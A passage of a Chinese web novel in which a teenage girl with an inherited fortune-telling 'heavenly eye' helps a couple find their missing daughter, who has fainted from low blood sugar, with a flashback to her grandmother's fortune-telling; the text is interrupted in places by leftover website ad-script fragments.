《小神婆》 1. 失联的女儿 美好一个周六,阳光明媚,天气晴朗。 曲欣睡着懒觉,迷迷糊糊闹钟响了,醒来,摁掉。过了好像很久,又响。 曲欣一个激灵醒来,眼睛闭着,摸到手机,一本正经开腔:“嗯我已经吃完了,碗也洗了我在看电视,好吃……” 人彻底醒了,匆匆忙忙挂断电话,从床上蹿起来,去厨房看妈妈给她留的啥早餐,疑心她马上要回,漱口水咕噜两下,拿筷子插了玉米跑进卧室。 用脚挪开家里那只野猫,穿上拖鞋,哗啦扯开窗帘,阳光一下照进来。 玉米啃了三排,筷子尾端扎在书立夹紧的一排作文书里,对着镜子胡乱扎了个马尾,哎呀居然有眼屎,又冲进卫生间洗了个脸。 出来端起碟子,把两粽子倒纸巾上放抽屉里,碟子洗干净放回,还用纸擦了两下。 回来继续吃玉米,啊她妈应该不会检查粽子叶吧应该不会吧…… 猫两花在她脚边踱步两下,跳上她膝盖,曲欣狂吃玉米,凑合摸了它两下。 这才拿起手机,打开微信一看,居然没她妈的消息,咦咦。 对了,今天周六,应该很忙才是啊,哪有空管她。 曲欣后知后觉打开手机的通话记录,恰好对方又打过来。 “阿婆?”曲欣抱着猫去客厅,小脸微红,假装无事发生,“啊哈哈,刚刚以为是我妈,阿婆什么事啊,去医院检查好没有?” “好了好了,还真没事,哎呀,不愧是你外婆的乖孙!” 电话那边袁阿婆热情道:“欣欣,你真开天眼啦!真厉害!别信你妈的啊,这帮人算命,积功德的事,哪有她说的夸张,她不让,我们躲着她偷偷的!” “你小姨想要这天眼还没得呢,哎呀都不知道这个天眼还能遗传,你外婆那会可是鼎鼎有名,走出去谁不知道,谁不佩服……” 袁阿婆非常兴奋,每次提到外婆她就滔滔不绝,她是外婆的老迷妹。 不过今天她及时刹住车,转了个弯,放低声音说:“欣欣你现在有空没有,有个事要你帮忙,哎,很急很急啊。” 五分钟后,曲欣换掉睡衣,啃着玉米下楼,他们楼下有个长木桌,附带三张椅子,不新不旧,也没啥异味。袁阿婆带着一对中年夫妇,正焦急等在那。 曲欣匆匆跑过去,扔了玉米芯,袁阿婆看到她就迎上来。 “吃饭没有?”阿婆粗糙干燥的手拉住她,眼神很慈祥,“后天又回学校了,中午去我家吃饭,买了榴莲,香蕉,还有上次那香干。” 曲欣点头答应,然后眼神表达疑惑,同时微笑对陌生人问好。 阿婆就给她介绍,这个是赵阿姨,以前你外婆给算过命,说她嫁了个好老公,人生比较顺遂,不发大财,但也不愁吃喝,你外婆那眼睛,就没有看不到的…… 曲欣仔细打量赵阿姨和赵叔叔,前者眼神焦急、忧虑、还有点忐忑,后者表情稍显严肃,看得出不太信任的样子,但也只是打量她,眉心皱起,没说话。 赵阿姨主动开口,表情尽量平静,但声音有点抖:“小神婆,你帮我看一看,我女儿现在怎么样了?” 四个人都坐下,曲欣也不卖关子,盯着赵阿姨夫妻的脸看了又看,回答说:“问题不大。” 赵阿姨肉眼可见的松了口气,但又气恼,还有点不安:“那她现在到底去哪了?” 曲欣没说话,目光又移到赵叔叔脸上——这位也姓赵。 曲欣:“您先说说具体情况,我只能看到她大概离得远,在朋友或者熟人的家里,身体状态不太好。” 赵阿姨又忧又恼,和丈夫对视一眼,连忙解释起来。 他们的女儿赵璨,从小不让人操心,成绩不错,几年前考上985大学,上学前意气风发,没多久说谈了个男朋友。 手机上照片发过来,看着挺清秀,也没啥纹身,没染头发。 赵阿姨觉得还行,只要孩子喜欢,对孩子好就行,况且这长得也不寒掺,挺端正呢,浓眉大眼的。 恋爱谈了快三年,对方还来家里吃过饭,看得出女儿很喜欢。问题就是太喜欢了,人家觉得女朋友黏得太紧,管得太宽,‘要呼吸不过来了’。 两人大吵一架,之后冷战半个月,最终分手了事。 这下好了,女儿跟疯了似的,从来没这么情绪激动过,一会说要让他好看,一会舍不得,一会在家哭得惊天动地,一会又跟朋友骂他是个癞蛤蟆。 赵阿姨是知道现在的孩子都比较独特,但没想过自家女儿也能这么,这么…… 用句不好听的话来形容,那跟发神经似的。 赵阿姨夫妇俩只能细心安慰,这会正是实习的时候,她女儿来的家里小公司,读的专业也相关,白天还像模像样,一到晚上跟游魂似的,披头散发,熬夜不睡! 没几天说要减肥,中饭就吃那几根丝,晚饭自己弄点水果吃,想和她深入的聊聊,闷头回答一句:“我现在还没心情。” 从五月中旬到现在一个月了,人焉焉的,黑眼圈都出来了。赵阿姨实在忍不住,几次要和她谈谈,她要么敷衍,要么伤心躲回房里,不肯正面回应。 赵阿姨不知道她到底想干什么,这是彻底分手了,还是想减了肥再把人追回来? 怎么好好一个女儿,谈个恋爱搞得变了个人似的,都一个月了。 难道就为了这事一蹶不振,从此都孵在家里? 赵阿姨难得强硬,和女儿谈了两次,女儿就说要去旅游散散心。 也行啊,赵叔叔大方提供资金,赵阿姨还想跟着一起去,被婉拒,然后女儿背了个小包自个儿偷偷溜走了。 人是前天凌晨出去的,早上才看到她发的消息。赵阿姨比较担心,一路盯着她朋友圈和小红本,想看她到底去哪。 知道是隔壁市,挺近,还请自己远房的一个外甥女和她联系。 女儿一向懂事,从不让父母担心,和她表姐也联系上,报了平安。 赵阿姨和女儿关系是比较亲密的,以往在学校,每天要么中午, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 要么晚上,总会打个电话或视频,聊聊天,说说今天做了什么,吃了什么,有啥稀奇的人或事。 如果是外出旅游,看到什么景色也会发到群里,给爸妈看看。中午吃饭可能会视频聊天,如果有朋友或不方便,最迟晚上会通话。 实在没时间,至少会私信报个平安。 最近她失恋这一出,赵阿姨就更关注女儿动静了。前天除了和她表姐联系,晚上也视频了,昨天上午去某古城拍古装,照片发在了朋友圈。 这么看起来,好像旅游确实改变了女儿心态。 昨天中午吃饭还打了个电话,晚上十点,赵阿姨想和女儿视频,赵璨没回。 翻看女儿朋友圈,丈夫还说她盯得太紧,打开小红本,女儿发了条似乎在酒吧的短视频,只有十多秒,那花花绿绿的光闪得人眼瞎,声音震耳欲聋。 十一点发微信,问她是不是还在玩,女孩子在外边注意安全,早点回去。 左等右等,没回信,赵阿姨又补一句:看到回我一下,妈等你消息。 赵阿姨一直没等到女儿的回复,当晚她就有点担心。 丈夫嘴上说不担心,实际也老问女儿答复没有。一边怀疑是不是出了啥事,一边又想哪那么容易出事,女儿也大了,不能管得太宽,或许只是在外边玩,手机没电呢? 两人迷迷糊糊,凌晨才睡下,六点就自动醒来,一看手机,仍然没消息。 强忍着到八点,给女儿发了消息,又想最近女儿昼夜颠倒,可能现在还在睡呢。 继续等,等着等着,不知为什么,她心里就有股不舒服的感觉。 又问早起上班去了的外甥女,女儿昨晚上有没有和她联系。 到十点,丈夫也觉得心里跳得慌,干什么都静不下心。夫妻俩一合计,越等越觉得害怕,又从外甥女那得知,女儿晚上八点曾说要去见一个朋友。 两人只随便聊了聊,没说到见了朋友怎么样。 但这个和朋友见面的事,夫妻俩一点都不知道。 以往女儿每天要做什么,具体怎么安排,闲聊时都会跟他们说。这旅游冒出个同市的朋友,怎么认识的,约着去哪里,女儿却提都没提。 儿行千里母担忧,眼瞅着快十点半,她女儿平时再晚睡,十点出头也醒了。现在电话打了三四个,微信发了数条,仍然不见一点回音! 赵阿姨夫妻彻底慌了,加上两人都有种女儿出事的感觉,第一反应是女儿被网友骗了,被控制在哪里,被拐到山里去了? 赵阿姨又想起女儿说她这个月姨妈好像迟了,当时怎么没强硬点带她去医院检查? 丈夫想报警,赵阿姨一边心神不宁,一边觉得不能报警。 如果,如果女儿是怀孕了,出去找地方流产呢…… 这话跟谁都不能说,赵阿姨左思右想,突然想起米神婆的外孙女,说是最近继承了外婆的天眼,十天半月有什么事都能看—— 赵阿姨也是见识过米神婆神异的,顿时她就心动了! 2. 失联的女儿 赵阿姨这辈还好,上一辈对米神婆可以说深信不疑。像袁阿婆就是其中一个,现在天天还在朋友圈给米神婆孙女打广告! 来之前赵阿姨就想,虽然好久没见过,但米神婆外孙女年纪肯定不大,没关系,听说米神婆也是年纪轻轻,有一年洪水过后突然开的天眼。 这个天眼能看人前程,看人福祸,什么姻缘、学业、财运、官运,无所不包,无所不能。她要求不高,就是想看看她女儿到底有没有事。 所以见了人,她一点也不觉得这么个睡懒觉的小姑娘当神婆有什么不对。现在的小姑娘哪有不睡懒觉的,反正开了天眼,小神婆也是神婆。 当对方说她女儿问题不大,赵阿姨立刻就松一口气。 “那她现在是怎么回事?”赵阿姨看了袁阿婆一眼,又看着曲欣,生怕对方说出女儿是被人拐卖之类的话来。 曲欣研究半天,组织语言说:“人可能晕倒了,你说她最近在减肥,大概有这方面原因,或者低血糖。得赶紧找到人,不然怕有危险。” “啊!”赵阿姨立刻站起来,低血糖晕倒了没处理也是会死人的! 一旁赵叔叔忙问:“人在哪里,怎么找?” 他现在也有点相信了,虽然这女孩年纪轻轻,但她盯着人看的时候,确实有种古怪的被看透的感觉。只要能找到女儿,怎么办都行! 曲欣说:“比朋友更近一点,可能是她男朋友,或者非常信任的无血缘关系的亲人……住处,也不像是宾馆,是宿舍?” “您要是有她那个男朋友的电话,可以现在问一问。” 赵阿姨脸色变了一下,迅速掏出手机,打开微信翻出一个人,点进去又犹豫,向曲欣求证:“直接问?” “直接问。”曲欣安抚说,“没事,不是人祸。” 赵叔叔捏了一下拳头,嘎嘣一声,曲欣和袁阿婆对视一眼,小老太悄悄靠过来,想说什么,又善良的忍住。 两人看着赵阿姨走到一边,手有点抖,她没对方电话,倒是加了微信,这会视频打了两个,一直没人接。 她心里沉甸甸的,不知道女儿说去旅游,怎么跑到了人家那里。 这晕倒又是怎么回事,真闹出人命了? 这一个视频过去,是不是接通了那边两张惊慌失措的脸,说着阿姨妈妈对不起……就像她上个月看的那个电视剧,不过她女儿不是高中生…… 不,也不行,男生法定结婚年龄比女孩大,他俩一个年纪。 大两岁也不行啊!都没毕业,她女儿才那么小,感觉才刚长大! 赵阿姨一边急,一边感觉两眼发酸,终于对方挂断了视频,发个消息来:阿姨怎么了,我在上班 这都什么时候了,怎么在上班,什么上班,实习吗? 赵阿姨一股气闷在心里,直接问:赵璨怎么晕倒了,她现在在哪 对方正在输入,然后又停止,过了一会,他发了个语音通话来,赵阿姨立刻接通。 “阿姨,你说赵璨晕倒了?”人家还很惊讶,低着嗓子偷偷摸摸的说,“我给她打个电话哈。” 赵阿姨用手摁住额头:“她在你那是吧,你现在立刻去找她,送医院。你地址发我,我马上过来。” “……”对方有点呆的回答,“阿姨,我在隔壁市实习呢。你你,你过来?” 赵阿姨有点要生气,他又反应过来:“啊,赵璨晕倒了!?” 旁边默默听着这没头脑对话的赵叔叔拳头又嘎嘣了一下。 现在的小孩,怎么懵里懵懂的,真不靠谱! 不过听对方意思,他也不知道赵璨什么情况,那还真是个意外,也就是说,只要找到了人,问题不大。 但女儿就是掉了根头发,这做父母的也要担心是不是压力太大,现在好端端的突然晕倒,又怎么可能彻底放心? 好在女儿这个前男友没再废话,很快发来地址,赵阿姨夫妻匆匆告别,加了曲欣微信,给曲欣转了一个大大的红包。 人一走,袁阿婆银灰发丝的小脑袋就凑过来,问曲欣:“多少?” 曲欣往后一靠,吹着林间小风,舒坦道:“三千八。” “哎呀。”袁阿婆说,“我可是特地叮嘱过,不是什么大事,给666或888就好的。” “没事,多的我捐出去。”曲欣晃着脚尖,并拢又分开,“我可不想你推我让的,好尴尬,反正我只收这么多。” “捐了好,捐出去攒功德,我老早就说了,觉得给少了自己再捐一笔嘛。” 袁阿婆这小老太,和曲欣并排靠在椅背上,摸出两个山楂棒棒糖,一人一个,介绍说:“这个糖少,甜甜的。” 曲欣哈哈笑:“甜甜的怎么会糖少。” 两人美滋滋啃了一阵棒棒糖,阿婆说:“以后你可得早点起啊,这太阳都不止晒屁股了,我好不容易学会了发朋友圈,我加的每个人我都给你打了广告。” “谢谢阿婆,阿婆辛苦了~”曲欣声音脆脆的,甜甜的。 阿婆很受用,想起她起得晚,又把人拉起来,摸出大伞:“走,去我家吃饭去,我给阿姨说了,做你爱吃的酸菜鱼!” 一老一小手拉手撑伞,路过的阿婆大爷纷纷打招呼。 千里香的小馄饨飘香半条街,麻将馆的叫好声混杂其间,拐个弯,人越来越多,树却少了,太阳热辣辣的。 他们这地方叫莲花村,以前是个大村子,现在嘛叫城中村,很多人祖祖辈辈住这儿,彼此是拐着弯儿的亲戚。 这地方乍一看倒是繁华,人多,特别多,房租便宜,吃喝方便。 曲欣家算本地人,在莲花村有个三层楼房带小菜园,不远还有家小超市,生意挺不错。 她妈米秀和她爸曲超每天就忙那小超市,最近她爸回老家,她妈才忙得没空管她。 “欣欣啊,那孩子到底咋回事?”袁阿婆问,“我看你说得含糊。” 曲欣正开着天眼看路人,这个奶奶孙女或外孙女在学校见血,小伤,崩着牙还是摔膝盖了? 这个叔金牙是假的,前不久打牌输了存款一半多,我去,这到底是输得多还是存款少。 这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个爷爷近期家里长辈去世了,喜丧?四代同堂,多子多孙,就是孙辈这一代婚姻都坎坷,要是能看看孙辈面相就好了。 这阿姨私下和她老公拍私房照还是小视频,财运小涨,这是补贴家用嘛,啊,啊这略过略过…… 曲欣收回视线,小声回答:“我怀疑是低血糖昏迷了,熬夜过头加减肥过度,看她爸妈面相,身体应该没大病,但晕倒没人发现,拖久了也不好。” “哎哟。”袁阿婆顿时担忧起来,又眉开眼笑,“幸好有你,发现得早。” “我就说这天眼,要得!你妈还不让,这天眼多好的事,像你外婆以前啊,看到我,那就一个铁口,铁口直断!当时啊……” 袁阿婆再次说起了她被外婆拯救的人生。 袁阿婆出生在一个普通甚至有些贫穷的家庭,家里兄弟姐妹众多,爹不疼娘不爱。早年她性格沉闷,不懂得为自己打算,早早被嫁人,婆家也一言难尽。 婆婆是个爱诅咒谩骂的怪脾气,公公性格暴躁,除了埋头干活,格外宠溺他那老来独子。丈夫被养得没心没肺,常年在外游手好闲,沾花惹草。 偏那时她自己也是软弱性子,连生三个女儿,更惹得婆婆不满。 生完第三个女儿,她身体已经很不好,那年她才24岁,几乎一年生一个,月子也没得做。婆婆对她连生三女愤恨不已,因一点小事就劈头盖脸的打她。 两个女儿吓得大哭,惹得婆婆漫天咒骂,邻居听到声音来劝,她干脆把她们都揪出去,又把三女儿扔进门口沟里。 孩子是被输钱归家的丈夫听到声音顺手捡回,婆婆才没再丢弃。 那时袁阿婆绝望的瘫在床上,怎么也爬不起来,甚至以为自己要瘫一辈子。那她几个女儿还有活路吗?婆婆虎视眈眈,丈夫又万事不管,外头还招惹了寡妇。 邻居婶娘看她可怜,让她说动丈夫去米神婆那算算子孙运。 所幸丈夫听了无所谓,婆婆知道后却很动心。 也许她想看看这儿媳到底能不能生出个男孩,也许她盘算着把这瘫着还不起的儿媳退回娘家,再找个合适能生小子的婆娘…… 那年她正丢了笔钱,看人的眼神都怪怪的,让人胆寒。 小有名气的米神婆来了,看着格外年轻,也就和曲欣现在一个年纪。 米神婆也是从小神婆开始变得鼎鼎有名的。 米神婆看到她,眼神就动了一下,又去看她懒散浪荡的丈夫。米神婆看人面相的时候,目光淡淡的,偏有种看到你过去未来的神异感觉。 甚至她盯着她婆婆看的时候,婆婆不自觉抖了一下,移开眼睛。 小神婆就说:“生孩子不光只看女人,也看男人。你儿子上辈子不做好事,招惹了许多女子,有情讨债,这辈子全都等着投胎做他女儿。” “你要想有孙子,这几年就先别生,等想投胎的等不及另投他人,才有可能生下男孩。不然,就是换个儿媳,生出来的一样是前债。” “你家得好好对这些女孩,不然债还不了,都报应在你儿子身上。” 3. 失联的女儿 米神婆被恼羞成怒的婆婆赶走了,但米神婆的话她半信半疑。 毕竟神婆年纪虽小,算出来的命却无一不准,也有当时人家不信的,没多久都一一应验。人家这不是装神弄鬼,是真的开了天眼,得了老天眷顾。 婆婆不敢再说些要把孙女丢沟里淹死的话。 过了没多久,外头寡妇去医院流产,人家相好找上门,把她丈夫打得头破血流。 丈夫赔了笔钱,总算安生一阵,待在家里逗小女儿,对那前债的说法有些心虚,后来寡妇结婚,就没再联系。 他也怕再多生几个,都是女儿,都是前债。 袁阿婆的日子从此好过很多,身体也奇迹般的恢复。 她不知为什么,觉得神婆说的话都对,再看公婆和丈夫,就没有之前那么敬畏。从前她怕被赶出家,怕无处可栖,后来心里好过很多,觉得生女儿不是她的错。 ——那时她还不懂,生女儿本来也不是错。 袁阿婆跟着邻居种玉米,手里有了点钱,底气稍足,婆婆反倒背米扭了腰,拖拖拉拉两年才好。袁阿婆也有把子力气,不能总是白白挨打,护着女儿们使劲长。 转眼过去五年,几个女儿都很懂事,丈夫偶尔也能帮上点忙,公婆年纪大了,又说起没个香火的事。 袁阿婆就说要先问问神婆,神婆说可以,才能生。 这些年,神婆的名头越来越响,原先附近还有个瞎眼神算,不知什么时候也悄悄走了。村里附近有啥事都要问问神婆,别处听了神婆名声找来的也多。 公婆没说什么浪费钱的事,也没骂人,一起去找神婆看了。 那会神婆的大女儿米秀3岁,小女儿米丽1岁。神婆的丈夫身体不好,抱着大女儿教她唱儿歌,人瘦瘦的,看着倒很温和的样子。 神婆自己抱着小女儿,看人眼神仍淡淡的,格外有种威严。 那会她年轻,扎着两个辫子,穿一件素碎花裙子,村里都没见过的打扮。袁阿婆心里觉得她像仙女,可能她就是仙女来历劫,只是外边人不知道。 神婆下巴点了点,让他们自己坐下,不多么亲和,也不怎么严肃。她的脸是鹅蛋脸,比之前好像圆润了点,长眉毛,淡红嘴唇,看气色不错。 袁阿婆这次才有时间注意神婆的样子。 她觉得神婆很好,特别那双眼睛,很平静,看了就让人觉得有希望。 她心中突然有种期盼,她觉得神婆一定能给予她未来人生的指引。 神婆果然给了,她认真看过她的脸,从眼睛到鼻子、嘴巴、耳朵,又给她丈夫和公婆看了,答复说:“可以,今年怀上,是个来报恩的孩子,这孩子聪明。” 公婆很激动,神婆又说:“孩子来报母亲的恩,要对妈妈好,一家人劲往一处使,以后肯定有出息。” 袁阿婆觉得很满足。 她觉得神婆看她的时间最久,神婆说的都准,她会有个为她而来的孩子,能保护好妈妈、姐姐,这是她自己的孩子,是她的家人。 赶在计划生育最严格之前,她生下一个男孩。 这果然是个来报恩的孩子,从小懂事听话,从不无故哭闹,吃饭自己吃,睡觉也安稳。三四岁就知道体贴妈妈,大人说话他都听着,不懂就问。 他身体健康,很少生病,做事认真专注,不像他爷爷脾气暴躁,也不像他爸爸吊儿郎当。奶奶无止境的发狂怒骂,他也不逃跑,会努力安抚阻止。 再大一点,读书一点就通,还能反过来督促最小的姐姐学习。做爸爸的赌钱昏头,他立刻出言劝阻,说动爷爷奶奶站在他这边。 他一天比一天长大,这个家就一天比一天更有希望。 婆婆去世时,干涸的眼里只有舍不得孙子,几十年不甘怨懑,如今也好像雪融后的溪流;公公去世时,为了等他硬吊着心电图,直到爷孙俩双手相握,了无遗憾。 几十年过去,曾经懒散失职的丈夫如今是个自得其乐的时髦老头,儿女们纷纷长大成家,孙辈兴旺,春节共聚一堂,俨然幸福的一大家子。 袁阿婆现在过得很好,越好,就越对神婆感激信敬。 有时她也会想,怎么会刚好就诞生一个这样的孩子,又聪明,又体贴。 是不是神婆看她可怜,才送她一位仙童? 这肯定是大功德,大善举。 现在回忆起过去的事,已经很远很远了,有时看到曲欣,就忍不住想起神婆。 没想到小曲欣能继承她外婆的天眼,袁阿婆当时热泪盈眶,想着能帮到更多人,这肯定是老天的旨意! “欣欣啊,你开天眼的时候,有没有梦到你外婆?” 出了莲花村,到附近新改造的小区,这儿绿化就好多了,蝉鸣渐起,绿树成荫。 “你阿婆要还活着,今年得61了。”袁阿婆回忆的说着,顿了顿,又自言自语,“不过她做了那么多好事,肯定很多功德,早投胎去做富贵人了。” 总想着她,因为自己过得好,她却已离世十年,她做了那么多善事,本该长命百岁。 袁阿婆想着想着,突然叹气,小声嘀咕说:“我觉得啊,都是你外公拖累了她。” “欣欣啊,给人家看命,拿到的钱都捐一半,记得啊,别让你妈担心。” 曲欣只笑眯眯听着,点头表示答应,她肯定会的。 阿婆又低声嘱咐:“算命的时候,不用说得太明白,太明白就让人怕了。如果遇到那坏人,小人,你就说他上辈子功德不够,看不透!” “你外婆就是这么说的,不给坏人看,不给他们改变命运的机会。” “遇到普通人家,能帮就帮,引导人向善,你自己也有功德。” “我再告诉你啊,你外婆遇到这样的事是这样处理的……” 到了阿婆家,曲欣跟自己家一样自在,她小时候就经常来阿婆家吃饭,熟门熟路,什么讲客气,不存在的。 曲欣先吃榴莲,袁阿婆把做饭的周阿姨也叫过来一起吃。反正她儿子儿媳都不住这,女儿外孙也没放假,至于她老头子,根本懒得管。 “等会拿点去超市,给你妈尝尝味,你小姨又出差啦?” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“没有吧,我表弟没过来呢。”曲欣小姨叫米丽,性格活泼有成算,住得不算远,但不在城中村。 她和她老公都经常出差,一忙就打发儿子董樊来曲欣家里住。董樊这小表弟比曲欣小8岁,五年级,活泼可爱,敦实高胖,和曲欣关系很不错。 袁阿婆说:“我看她朋友圈是又出差了,大概你姨夫在家。” 周阿姨吃了一块榴莲,去厨房做饭了,袁阿婆给曲欣看她发的朋友圈,还有各种中老年表情包,曲欣哈哈直笑。 没过一会,电话突然响起,曲欣一摸口袋,赵阿姨又打视频来。曲欣点开,对方满脸焦急,一开口泣不成声:“女儿,我女儿不见了!” 曲欣坐起来,扬声道:“阿姨你说,我听着呢,别哭,人没事!” 赵叔叔拿过手机,深深呼吸道:“小神婆,我女儿不在这,早上小卢去上班还在,刚到他宿舍没看到人,床上是冷的……” 曲欣想了想,就说了四个字:“厕所有吗?” 对方登时一愣,脚步声马上响起,小卢也就是女儿前男友冲去卫生间,又打转回来,赵阿姨慢了一步,见此惶惶:“有吗,有吗?” 小卢没回话,径直跑去阳台,这阳台上居然有个小卫生间,和阳台左边散着的纱帘位置齐平。门是关的,他手握在把手上,突然有了预感。 轻轻转动把手,他试探着往里推了推,感觉遇到阻力。 赵阿姨和赵叔叔马上明白过来,惊喜的围了过去。 门小心的打开一条缝,赵璨果然倒在里边,这会被碰到手臂,迷迷糊糊发出声音。外边三人都着急,手机里画面一片混乱。 曲欣镇定的声音道:“赵阿姨你别急,有白糖或冰糖吗?蜂蜜也行。” 小卢进到卫生间里,抱起赵璨,闻言扬声道:“冰箱里有白糖!” 赵阿姨又抓着手机跑去厨房,手机屏幕晃来晃去。 曲欣和袁阿婆对视一眼,阿婆悄声说:“这小伙子瞧着还不错。” 曲欣就附在她耳边,小声道:“我看折腾一下,能结婚。” 曲欣现在看人长远的只能得个大概,要精准最好在一个月内。不过这天眼每次为人消灾解难都有细微进步,是真能攒到功德。 曲欣自然来者不拒,钱嘛随便给点就行,反正她一般不给作恶造孽的人看。 赵阿姨找到白糖,掰开女儿嘴巴塞进去。赵璨头发凌乱,脸色苍白,肢体明显发软,小卢抱着她到客厅,抱不动了,倒下来自己用腿垫了一下。 两人倒在一块,赵璨穿的一件大码衬衫,小卢赶紧把她屁股给遮一下。 幸好这是夏天,不然就这晕上几个小时,冻也得冻出病来。 曲欣搜了一下低血糖,提醒说:“阿姨可以拿杯子泡杯糖水带上,带点饼干之类的固体食品。” 赵阿姨经小卢提示找来个保温杯洗干净,饼干居然也有。 赵叔叔去卧室里翻出条裤子,三人合力给赵璨穿上。 赵叔叔抱起女儿,小卢提东西,赵阿姨前边开路,叫了车去医院。 4. 失联的女儿 “谢谢,谢谢,谢谢小神婆,多亏你了。”小卢坐前边,赵阿姨夫妻两人抱着女儿在后边喂糖水,好一会才回过神,发现视频没挂。 她眼泪又流下来,赵叔叔搂着她无声安慰,万分庆幸! 庆幸米神婆后继有人,庆幸自己夫妻没迟疑早早赶高铁过来,庆幸路上顺顺利利,如有神助。 小卢今天是去的郊外上班,挂了电话他就请假打转,谁料的士堵在路上,只比赵阿姨夫妻坐高铁的快了几分钟。 他跑上楼,卧室没看到人,卫生间厨房没人,两个同事的房间也没人,大声喊赵璨名字,也没人应! 小卢这时就有点慌,以为赵璨自己出门出了意外,接到赵阿姨电话,连忙把人接上楼。 三人到处找了没有,还去楼道、楼下、门卫处找了,这才急得打曲欣电话。 ——他们这阳台上的卫生间,也不知房东怎么想的,嵌入式,空间小,只放了马桶,关上门和阳台浑然一体,极易被忽略。 小卢搬过来一次没用过,又着急,还真没想到赵璨会在这里边。 曲欣很温柔的说:“没事,叔叔阿姨你们先忙吧,赵姐姐没事的。” 曲欣挂了视频电话,赵阿姨又发来一笔转账,长长的语音让她一定收下,低血糖昏迷久了会造成不可逆的脑损伤,甚至脑死亡,她接受不了这样的后果! 曲欣听了一遍,想想收了,转头捐给自己收藏的靠谱捐款平台,截图给赵阿姨,又语音回复自己在攒功德,这样就够了。 厨房里,周阿姨打开推拉门,笑眯眯端着菜过来:“吃饭啦。” 车上,赵阿姨松一口气,手机摁在心口,给女儿整理头发,又仔细喂她饼干。赵璨隐隐有点意识,抓住大口吞咽,险些被呛。 赵阿姨连忙扶住她,赵叔叔小心把女儿脑袋竖起来。 前边坐着的小卢频频回头,不久医院到了,三人都松一口气。 所幸赵璨送医及时,检查后没什么大碍,半小时后人醒了,赵阿姨夫妻喜极而泣。 小卢同样松一口气,感觉腿都发软,他真是差点吓死,好在赵璨没事,不然…… 小卢其实也舍不得分手,但赵璨她都不是黏人,是掌控欲太强,明明以前不这样,现在不知哪里学的招,每天电话微信各种打卡,出去半小时都要报备。 小卢实在受不了,不知女友怎么想的,好端端突然这样,可他做错什么了吗? 如果他有不良信用,女友盯梢他还能理解一点。问题是他什么都没做,赵璨就疑神疑鬼,把他当成犯人。 那他还想结婚呢,结婚以后怎么办,两个人栓在一起过日子? 吵了又吵,小卢受不了了,听室友的劝,分手冷静一下吧。 正好他现在实习来了隔壁市,每天工作灰头土脸,忙得人都憔悴了。偶有空闲想和赵璨沟通一下,说不了几句赵璨就骂人。 小卢不吱声了,赵璨也就消停了。 没想到昨天抽空出去玩,路上居然偶遇,其实小卢还有点毛毛的,不知道赵璨是真偶遇还是假偶遇,赵璨上个月也搞盯梢他朋友圈然后空降那套。 但同时心里又略甜,毕竟还是在乎嘛。 聊了没几句,赵璨非说要去他宿舍看看,小卢半推半就……来了以后,她又说太晚了回不去了,要睡他这里。 小卢把床让给她,自己和同事挤一块,有点忐忑又有点畏惧的睡着了。 早上起来突然通知要加班,他急匆匆洗漱走了。几个同事都去的郊外,一去也不知道要多久,他给赵璨私信解释,没回。 得,又生气了,他昨晚上美梦是不是做早了? 上班间隙都在微微焦虑中,他真的不知道赵璨在想什么……她以前虽然好强又喜欢自己做主安排别人,但那时真的算正常。 更别提小卢其实也挺喜欢赵璨管着他,呜呜,到底要怎样嘛! 小卢心里七上八下,上着班,突然接到赵璨妈妈电话,有点惊,还有点喜,不会是要劝和吧? 一接,人家说赵璨在他宿舍晕倒了,让他赶紧请假去看看。 “……”小卢一番纠结,其实他还怕是赵璨在搞事。 比如上上个月,对方闺蜜打电话说赵璨找他让他去某某地,结果去了赵璨又生气,说人家一叫就出来也没原因你都不问问我直接就来了? 小卢说我问了你也没回啊,我还以为是给我的惊喜呢。 被生气狂怒的赵璨拉黑半小时,又把他放出来好一番折腾,搞得他再遇到赵璨,总要先想想她是不是又在找他麻烦…… 但这回他可是在实习,赵璨闹归闹,对他学业工作什么的还是比较上心,而且这回打电话的是赵璨妈妈呀。 小卢犹豫三秒,还是冲出去找到领导,再三请求,赌咒发誓,顶着对方一张黑脸,急冲冲往回赶。 “赵璨,你这个害人精。”小卢喃喃,手掌用力搓了一下自己脸,感觉欲哭无泪,“我是栽给你了。” 下午赵璨好多了,小卢等赵阿姨赵叔叔去找医生,进了病房,左右病床都是阿姨,正隔着赵璨激情交流八卦。 小卢脚步一顿,有点迟疑的看着赵璨:“我跟你说句话。” 赵璨倒是态度很自然,她是那种死到临头也要装作面不改色的人:“什么事,直接说。” 小卢看了看两边两个阿姨,走近一点,低声:“你来找我是不是想复合。” 阿姨们一看,这情形不对劲啊,彼此对视一眼,气氛诡异的安静下来。 赵璨一听,也没说是不是,只从鼻子里哼出淡淡一声,示意小卢继续说。她往后一靠,明明人躺着,小卢一米七八的个头,却好像比她还矮一截。 “……”小卢咬咬牙,直说了:“经过这件事,我发现我还是想,想和你好。但你不能再每天没事耍我玩。” 赵璨眼睛顿时喷火,憋出反问:“我耍你玩?还没事耍着你玩?你当我有那闲工夫?” “那你为什么!”小卢急了,脸也气红了,“你到底是想干嘛,要和好就好好处,看不上我就别阴阳我,每天每天,我也会累啊!” 赵璨更气,太生气脸都白了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,小卢一看怂了连忙来扶她,想再喂点糖水。赵璨‘啪’的甩开他的手,扭头一声不吭自己喝。 两边阿姨又眼神交流起来,这会赵阿姨进来,感觉两孩子都黑着一张脸,一看又是吵架了。 赵阿姨叹一声,出院的时候问女儿,到底怎么想的! “不行你就跟我去小神婆那问问,你俩到底能不能行!小神婆说不行,断了就断了,我看你是尽折腾,人家小卢好好一孩子。” 赵璨:“……” 虽然从她妈的絮絮叨叨里听了一百遍这小神婆有多神通广大,但赵璨只觉得对方是瞎猫碰上死耗子。 不过怎么说也是碰上了,她妈又给她看人家捐款的截图。 赵璨不和她妈辩论,心里其实不太相信,还找神婆看她和小卢,哈哈哈哈。 赵璨乐了两秒,又不爽起来,想到小卢那张委屈的脸,更觉恼火,赌气道:“你要是愿意花那个钱,你就去好了。” 赵阿姨拍她一下:“我去不行,得带你去,小神婆才继承她外婆的天眼没多久,得当面看正主。” 